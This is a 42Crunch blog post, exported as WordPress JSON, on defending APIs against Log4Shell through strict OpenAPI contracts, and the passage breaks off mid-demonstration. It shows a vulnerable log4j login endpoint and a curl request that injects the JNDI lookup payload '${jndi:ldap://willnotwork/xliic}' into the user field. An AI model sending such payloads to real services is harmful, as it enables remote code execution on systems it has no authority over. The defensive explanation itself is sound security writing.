{"id":11061,"date":"2022-01-26T16:28:29","date_gmt":"2022-01-26T16:28:29","guid":{"rendered":"https:\/\/staging-site.42crunch.com\/?p=11061"},"modified":"2022-11-28T18:33:52","modified_gmt":"2022-11-28T18:33:52","slug":"protecting-your-apis-against-log4shell-with-42crunch","status":"publish","type":"post","link":"https:\/\/staging2022.42crunch.com\/protecting-your-apis-against-log4shell-with-42crunch\/","title":{"rendered":"Protecting your APIs against Log4Shell with 42Crunch"},"content":{"rendered":"
On December 9th, 2021, the log4shell<\/cite> vulnerability hit the news and it has since been every security team’s worst nightmare: trivially exploitable, huge impact with RCE (Remote Code Execution), on a component widely used across traditional enterprise technological stacks, both in in-house and third-party software. All this combined explains its CVSS rating of 10 \u2013 the highest possible. It is probably one of the worst flaws I have witnessed in my security career; it gives everything to an attacker for little to no effort. In the last few days, we have seen other vulnerabilities targeting the log4j library.<\/p>\n Understandably, a lot of articles have been written on the log4shell<\/cite> vulnerability and the subsequent vulnerabilities, to explain\u00a0what it does and how it does it<\/a>, or articles on how to detect attempts of exploitation<\/a>.<\/p>\n In this article we take a different approach: we show how a positive security model dramatically reduces your attack surface, effectively hindering and\/or blocking such injections, and how a positive security approach can be implemented to secure your APIs from the development phase to the production environments with 42Crunch.<\/p>\n Adopting a positive security approach to API design starts with creating an API contract. Think of an API contract as a blueprint of your APIs, a list of formal rules of what your API accepts and how it responds. By definition, in a positive security model, everything not formally allowed by the contract is rejected.<\/p>\n Two approaches can be used to create an API contract:<\/p>\n Although we are a bit opinionated and advise on a design-first approach as, from a security standpoint, it helps tremendously with threat modeling, 42Crunch integrates identically with both code-first and design-first approaches.<\/p>\n Here, let’s take a simple flawed contract written in OASv3 format:<\/p>\n From a positive security model standpoint, there is a security issue with how the\u00a0 How is this definition flawed? This API contract excerpt defines a \/login endpoint, that in POST requests accepts a JSON object in its body with a A 42Crunch security audit of this API contract \u2014 ran for example in one of our free IDE plugins (Visual Studio Code<\/a>,\u00a0IntelliJ<\/a>,\u00a0Eclipse<\/a>) \u2014 finds the following issues on the <\/p>\n How do these issues manifest themselves in an actual implementation?<\/p>\n To make this issue concrete, let’s develop a simple vulnerable implementation of this login endpoint that uses log4j 2.14.1, vulnerable to log4shell<\/cite>. This endpoint just outputs to the logs which the user has logged in, returning only Let’s try a simple call to this endpoint:<\/p>\n In the running API the following log pops up:<\/p>\n Now, instead of this\u00a0 The application logs display the following error, showing that the vulnerability was triggered but failed because the API could not resolve the non-existing\u00a0Creating an API contract<\/h2>\n
\n
"\/login": {\n "post": {\n "summary": "Login to the endpoint",\n "description": "A username is passed as parameter and logged by log4j",\n "operationId": "logUser",\n "requestBody": {\n\t\t "required": true,\n "content": {\n "application\/json": {\n "schema": {\n "additionalProperties": false,\n "type": "object",\n "properties": {\n "user": {\n "type": "string"\n }\n }\n }\n }\n }\n },\n ...<\/code><\/pre>\n
user<\/code>\u00a0property is defined.<\/p>\n
user<\/code>\u00a0property of type string. The main issue here is that this\u00a0
user<\/code>\u00a0property is not constrained in any way by the contract. Its maximum length is not specified, so the\u00a0
user<\/code>\u00a0property could be a 100MB string. Also, every possible character can be inside the\u00a0
user<\/code>\u00a0property, e.g.:\u00a0
$<\/code>,\u00a0
\u00e9<\/code>,\u00a0
!<\/code>, quotes, emojis, etc.<\/p>\n
user<\/code>\u00a0property (excerpt):<\/p>\n
\n
\nPossible exploit scenario: If you do not define a pattern for strings, any string is accepted as the input. This could open your backend server to various attacks, such as SQL injection.<\/li>\n
\nPossible exploit scenario: If you do not limit the length of strings, attackers can send longer strings to your API than what your backend server can handle. This could overload your backend server and make it crash. In some cases, this could cause a buffer overflow and allow for executing arbitrary code. Long strings are also more prone to injection attacks.<\/li>\n<\/ul>\nExploiting a badly designed API<\/h2>\n
{"msg": "OK"}<\/code>\u00a0to the client. It looks something like this:<\/p>\n
public ResponseEntity<LoggedSchema> logUser(InlineObject inlineObject) {\n LoggedSchema response = new LoggedSchema();\n logger.info("User {} logged in", inlineObject.getUser());\n response.msg("OK");\n return new ResponseEntity<>(response, HttpStatus.OK);\n }<\/code><\/pre>\n<\/div>\n
$ curl -XPOST http:\/\/localhost:8080\/login -H '<\/span>Content-type: application\/json'<\/span><\/span> -d'<\/span>{\"user\": \"xliic\"}'<\/span><\/span><\/span>\r\n{\"msg\":\"OK\"}<\/span><\/pre>\n<\/div>\n
2021-12-20 11:36:26.154 INFO 527382 --- [nio-8080-exec-2] c.x.l.LoginApiImpl : User xliic logged in\n<\/code><\/pre>\n<\/div>\n
xliic<\/code>\u00a0string let’s try an injection. As this application is using a vulnerable version of log4j, an attacker could try injecting inside the\u00a0
user<\/code>\u00a0property a JNDI lookup string, such as the log4shell<\/cite> vulnerability:<\/p>\n
$ curl -XPOST http:\/\/localhost:8080\/login -H '<\/span>Content-type: application\/json'<\/span><\/span> -d'<\/span>{\"user\": \"${jndi:ldap:\/\/willnotwork\/xliic}\"}'<\/span><\/span><\/span>\r\n{\"msg\":\"OK\"}<\/span><\/pre>\n<\/div>\n
willnotwork<\/code>\u00a0host to retrieve the resource:<\/p>\n